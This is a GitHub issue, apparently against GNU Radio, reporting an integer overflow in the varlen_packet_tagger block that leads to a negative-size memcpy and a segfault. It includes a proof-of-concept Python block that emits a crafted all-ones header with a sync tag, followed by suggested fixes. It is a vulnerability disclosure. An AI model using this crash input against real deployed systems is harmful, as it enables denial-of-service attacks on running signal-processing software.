Skip to content

Memory Issue in varlen_packet_tagger v5.8.0 #764

@tsmith-vs

Description

@tsmith-vs

Background

The varlen_packet_tagger block decodes a variable-length packet size from a bitstream header without validating the result. If a crafted sync tag followed by a header decodes to a large value, the block calculates a packet_len that overflows the int type. This results in a negative size being passed to memcpy() (line 153 in varlen_packet_tagger_impl.cc), causing a crash both in the Python flowgraph and GRC.

Image

Here is the flowgraph I used:

Image

And here is the code for the Python Block:

import pmt
import numpy as np
from gnuradio import gr

class malicious_sync_tagger(gr.sync_block):
    def __init__(self):
        gr.sync_block.__init__(self,
            name="Malicious Sync Tagger",
            in_sig=[],                     
            out_sig=[np.uint8])       

        # Header: 0xFFFFFFFF in bits (32 bits of 1s)
        self.header_bits = [1] * 32

        # Payload: small dummy data
        self.payload = [0xAA] * 1024

        self.data = self.header_bits + self.payload
        self.index = 0
        self.tagged = False

    def work(self, input_items, output_items):
        out = output_items[0]
        n = len(out)

        remaining = len(self.data) - self.index
        to_copy = min(n, remaining)

        out[:to_copy] = self.data[self.index:self.index + to_copy]

        if not self.tagged and to_copy > 0:
            offset = self.nitems_written(0)
            # "sync" tag with value = True
            self.add_item_tag(0, offset, pmt.intern("syncword"), pmt.PMT_T, pmt.PMT_NIL)
            self.tagged = True

        self.index += to_copy
        return to_copy

The flowgraph ends up exiting due to memory access error:

Image

And running the Python flowgraph directly results in a segmentation fault:

Image

Recommendation

  1. Consider using size_t instead of int for packet_len.
  2. Validate the decoded packet_len before using it:
if (packet_len <= 0 || packet_len > d_mtu) {
    d_have_sync = false;
    consume_each(1);
    return 0;
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions